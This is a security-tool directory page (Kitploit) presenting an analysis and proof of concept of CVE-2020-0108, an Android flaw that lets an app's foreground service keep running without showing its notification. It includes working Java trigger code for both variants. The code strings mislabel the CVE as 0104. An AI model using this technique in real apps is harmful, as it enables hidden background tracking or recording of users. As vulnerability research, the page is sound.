Skip to content
KitploitKITPLOIT
ToolsBlog
Log in
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
ServiceCheater — PoC of CVE-2020-0108 | Kitploit
Tools/GitHubGitHub/crackercat/servicecheater
Android SecurityPrivilege EscalationVulnerability AnalysisExploitationPenetration TestingMobile Security
GitHubcrackercat/servicecheater

ServiceCheater

PoC of CVE-2020-0108

View Repository
111126 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2020-0108 Foreground Service Privilege Escalation Vulnerability Analysis

1. Vulnerability Background

  • In the AOSP 2020-08 patch, a vulnerability in the framework layer AMS was disclosed, numbered CVE-2020-0108, rated as High. It is a logic vulnerability in AMS's handling of foreground services. An attacker who successfully exploits this vulnerability can bypass the notification display of the foreground service and continue running in the background. The attack must be initiated by a local malicious application and does not require user interaction. If the user has granted other permissions to the application, greater harm can be caused, such as continuous location tracking or silent recording.

2. Vulnerability Details

  • Foreground service is a concept introduced by Google in Android 8.0. Since Android 8.0 does not allow starting background services from the background, the concept of foreground service was designed. Foreground services have a higher priority and can run for a long time in the background. However, a foreground service must bind a notification within 5 seconds after starting, otherwise it will be killed. In fact, foreground services still run in the "background", but because they are bound to a user-visible notification, Google calls them "foreground services".
  • This vulnerability has two attack methods, corresponding to two logic vulnerabilities.
  • The first vulnerability is in the onNotificationError method in NotificationManagerService, which does not properly handle exceptions during notification display.
// frameworks/base/services/core/java/com/android/server/notification/NotificationManagerService.java
@Override
public void onNotificationError(int callingUid, int callingPid, String pkg, String tag,
        int id, int uid, int initialPid, String message, int userId) {
        cancelNotification(callingUid, callingPid, pkg, tag, id, 0, 0, false, userId,
                REASON_ERROR, null);
}
  • In this case, after the foreground service starts, even if the notification fails to display correctly, it will not cause the foreground service to terminate. For example, when the foreground service uses a custom layout when creating the notification, and passes a non-existent resID value when constructing the RemoteViews object, the NotificationManagerService will fail to parse the notification layout, throw an exception, and call the onNotificationError method. Since the onNotificationError method only calls cancelNotification to cancel the notification, without terminating the service or the entire application, the foreground service can continue running without displaying a notification.
  • The second vulnerability is in the postNotification method in ServiceRecord, which does not properly handle exceptions during notification display, but instead throws the exception to the user program.
// frameworks/base/services/core/java/com/android/server/am/ServiceRecord.java
public void postNotification() {
    final int appUid = appInfo.uid;
    final int appPid = app.pid;
    if (foregroundId != 0 && foregroundNoti != null) {
        //...
        ams.mHandler.post(new Runnable() {
            public void run() {
                //...
                try {
                    //...
                } catch (RuntimeException e) {
                    Slog.w(TAG, "Error showing notification for service", e);
                    // If it gave us a garbage notification, it doesn't
                        // get to be foreground.
                    ams.setServiceForeground(instanceName, ServiceRecord.this,
                            0, null, 0, 0);
                    ams.crashApplication(appUid, appPid, localPackageName, -1,
                            "Bad notification for startForeground: " + e);
                }
            }
        });
    }
}
  • In this case, after the foreground service starts, if the user program catches the exception on the main thread, even if the notification fails to display correctly, it will not cause the foreground service to terminate. For example, when the foreground service passes an invalid Channel ID when creating the notification, the postNotification method in ServiceRecord will throw an exception when sending the notification. During exception handling, it only calls the AMS crashApplication method to throw a main thread exception to the application. However, if the application catches the exception on the main thread, the application will not crash, and the foreground service can continue running without displaying a notification.

3. Vulnerability Verification

  • The first vulnerability can be triggered using the following code in the foreground service:
NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
NotificationChannel notificationChannel = new NotificationChannel("c01", "CVE-2020-0104", NotificationManager.IMPORTANCE_DEFAULT);
notificationChannel.setDescription("Testing CVE-2020-0104");
notificationChannel.enableLights(true);
notificationChannel.setLightColor(Color.RED);
notificationChannel.enableVibration(true);
notificationChannel.setVibrationPattern(new long[]{100, 200, 300, 400, 500, 400, 300, 200, 100});
notificationManager.createNotificationChannel(notificationChannel);
//  Create a RemoteViews object with a invalid layout ID
RemoteViews remoteViews = new RemoteViews(getPackageName(), -1 /* A Invalid Layout ID */);
Notification notification = new NotificationCompat.Builder(this, "c01")
        .setContentTitle("Testing CVE-2020-0104")
        .setContentText("If you see this means you device is not vulnerable")
        .setCustomBigContentView(remoteViews)
        .setWhen(System.currentTimeMillis())
        .setSmallIcon(R.drawable.ic_launcher_foreground)
        .setLargeIcon(BitmapFactory.decodeResource(getResources(), R.drawable.ic_launcher_foreground))
        .build();
startForeground(1, notification);
  • When we create the RemoteViews object, we specify the Layout ID as -1, which is obviously an invalid value. This can trigger the onNotificationError callback.
  • The second vulnerability can be triggered using the following code in the foreground service:
//   Handle the exception in main loop
new Handler(Looper.getMainLooper()).post(new Runnable() {
    @Override
    public void run() {
        while (true) {
            try {
                Looper.loop();
            } catch (Throwable e) {
                e.printStackTrace();
            }
        }
    }
});
//   Create a Notification object with a invalid channel ID
Notification notification = new NotificationCompat.Builder(this, "InvalidInvalidInvalid" /* A Invalid Channel ID */)
        .setContentTitle("Testing CVE-2020-0104")
        .setContentText("If you see this means you device is not vulnerable")
        .setWhen(System.currentTimeMillis())
        .setSmallIcon(R.drawable.ic_launcher_foreground)
        .setLargeIcon(BitmapFactory.decodeResource(getResources(), R.drawable.ic_launcher_foreground))
        .build();
startForeground(2, notification);
  • This time we directly did not create the NotificationChannel object, but used an invalid Channel ID to construct the Notification. This can trigger the exception in the postNotification method. Then we catch the exception on the main thread, so the application will not crash.
Download Tool